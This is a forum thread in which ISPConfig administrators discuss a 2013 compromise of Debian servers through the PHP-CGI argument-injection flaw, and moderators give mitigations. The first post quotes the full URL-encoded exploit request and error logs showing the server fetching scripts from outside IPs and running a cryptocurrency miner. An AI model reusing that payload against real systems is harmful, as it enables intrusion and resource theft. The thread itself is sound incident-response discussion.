Hacks to ISPConfig servers

Discussion in 'General' started by todgerme, Nov 7, 2013.

  1. todgerme

    todgerme Member

    Hi Everyone,

    Over the past 24 hours, a number of servers running ISPConfig with Debian 5/6/7 have been hacked via the 000-default site in Apache sites:

    After much searching the access logs show's this:

    80.237.159.104 - - [06/Nov/2013:21:09:03 +0000] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 11 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"

    The error.log show's what this 1 request does:

    [Wed Nov 06 21:09:03 2013] [error] [client 80.237.159.104] --2013-11-06 21:09:03-- http://190.210.190.155/wordpress/wp-content/plugins/akismet/ins
    [Wed Nov 06 21:09:03 2013] [error] [client 80.237.159.104] Connecting to 190.210.190.155:80...
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] connected.
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] HTTP request sent, awaiting response...
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 200 OK
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Length: 472
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Saving to: `ins'
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 0K 100%
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 24.9M=0s
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 2013-11-06 21:09:04 (24.9 MB/s) - `ins' saved [472/472]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 1: kill: (26162) - No such process
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 1: \r: command not found
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 2: kill: (26167) - No such process
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] ins: line 2: \r: command not found
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] --2013-11-06 21:09:04-- http://83.168.244.29/temp/32.tar.gz
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Connecting to 83.168.244.29:80...
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] connected.
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] HTTP request sent, awaiting response...
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 200 OK
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Length:
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 169791
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] (166K) [application/x-tar]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] Saving to: `32.tar.gz'
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:04 2013] [error] [client 80.237.159.104] 0K .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ..
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ..
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ..
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] .
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] 100% 2.36M=0.3s
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] 2013-11-06 21:09:05 (598 KB/s) - `64.tgz' saved [193180/193180]
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104]
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ins: line 4: ./m64: No such file or directory
    [Wed Nov 06 21:09:05 2013] [error] [client 80.237.159.104] ins: line 4: \r: command not found
    [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 2: 4096 hashes, 2.52 khash/s
    [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 3: 4096 hashes, 2.49 khash/s
    [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 1: 4096 hashes, 2.21 khash/s
    [Wed Nov 06 21:09:07 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:07] thread 0: 4096 hashes, 2.13 khash/s
    [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] Stratum detected new block
    [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 3: 25572 hashes, 2.51 khash/s
    [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 2: 26820 hashes, 2.62 khash/s
    [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 1: 23340 hashes, 2.33 khash/s
    [Wed Nov 06 21:09:17 2013] [error] [client 80.237.159.104] [2013-11-06 21:09:17] thread 0: 23932 hashes, 2.41 khash/s
    [Wed Nov 06 21:09:47 2013] [warn] [client 80.237.159.104] Timeout waiting for output from CGI script /usr/lib/cgi-bin/php5

    Does anyone have advice on the best way to counteract this hack? The obvious thing to do is disable the alias to the /cgi-bin but going forward, this affects various versions of PHP from 5.2/5.3 and why are the Debian packages dumping /usr/lib/cgi-bin/php or /usr/lib/cgi-bin/php5 into a directory that is exploitable using the out of the box Debian configuration?

    Any ideas/help would be greatly appreciated.

    Keith
     
  2. edge

    edge Active Member Moderator

    Last edited: Nov 7, 2013
  3. till

    till Super Moderator Staff Member ISPConfig Developer

    Like edge explained, its a current php cgi issue and not a ispconfig issue. The 000-default is the default debian vhost, it is not from ispconfig. The vhosts created by ispconfig are not vulnerable for this issue.

    You might have to ask this question to the debian developers.

    Possible solutions are:

    - Use mod_security
    - remove php and php5 from /usr/lib/cgi-bin/ directory

    if you dont use mailman on this server and no other scripts that use the default vhost for cgi, then you can even remove the whole:

    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
    </Directory>

    section from the defaut vhost.
     
  4. till

    till Super Moderator Staff Member ISPConfig Developer

    Which packages do you use? the regular debian packages or the ones from dotdb?

    Please post the output of:

    /usr/lib/cgi-bin/php5 -v
     
  5. todgerme

    todgerme Member

    I'm using the DotDeb packages and have secured the server by removing the lines from the 000-default vhost.

    Seems odd that such an obvious hole hasn't been discovered before now and plugged as it's been sitting like that on my servers especially the Debian 5 ones for a few years (no lectures on why they haven't been upgraded - there is reason to the madness)
     
  6. Croydon

    Croydon ISPConfig Developer ISPConfig Developer

    Are you sure that you use the latest packages?

    We have done some more research and for what we know until now the following packages are vulnerable:

    php5 from dotdeb until 5.3.11 (5.3.13 and later seems not to be vulnerable to this attack)
    php5 from debian repos 5.3.3-7+squeeze16/17 is not vulnerable, did not test earlier versions, yet.

    Please be so kind and post the version of your /usr/lib/cgi-bin/php5 -v

    Keep in mind that 5.3.3-6+squeeze16 is newer than php5.3.11 from dotdeb - due to the different versioning used.

    This is the post from dotdeb regarding the fix in 5.3.13, you see it has been fixed long time ago, so it seems lots of servers are somehow outdated in their php versions:
    http://www.dotdeb.org/2012/05/09/security-php-5-4-3-and-php-5-3-13/
     
    Last edited: Nov 7, 2013
  7. Ben

    Ben ISPConfig Developer ISPConfig Developer

    I do not want to post the link to the sample exploit here, but packetstormsecurity has a python version of it on their page, so with that you can easily check if you are vulnerable, as well.
     
  8. Croydon

    Croydon ISPConfig Developer ISPConfig Developer

    Sure, but most time it's better to understand why you are vulnerable, not just if ;)
     
  9. edge

    edge Active Member Moderator

    Tested this yesterday. (with modsec on and off)

    It's V2 of the script. Did not test V1..
     
    Last edited: Nov 7, 2013
  10. Croydon

    Croydon ISPConfig Developer ISPConfig Developer

    So it's quite sure that your php version was outdated and therefore vulnerable, correct?
     

Share This Page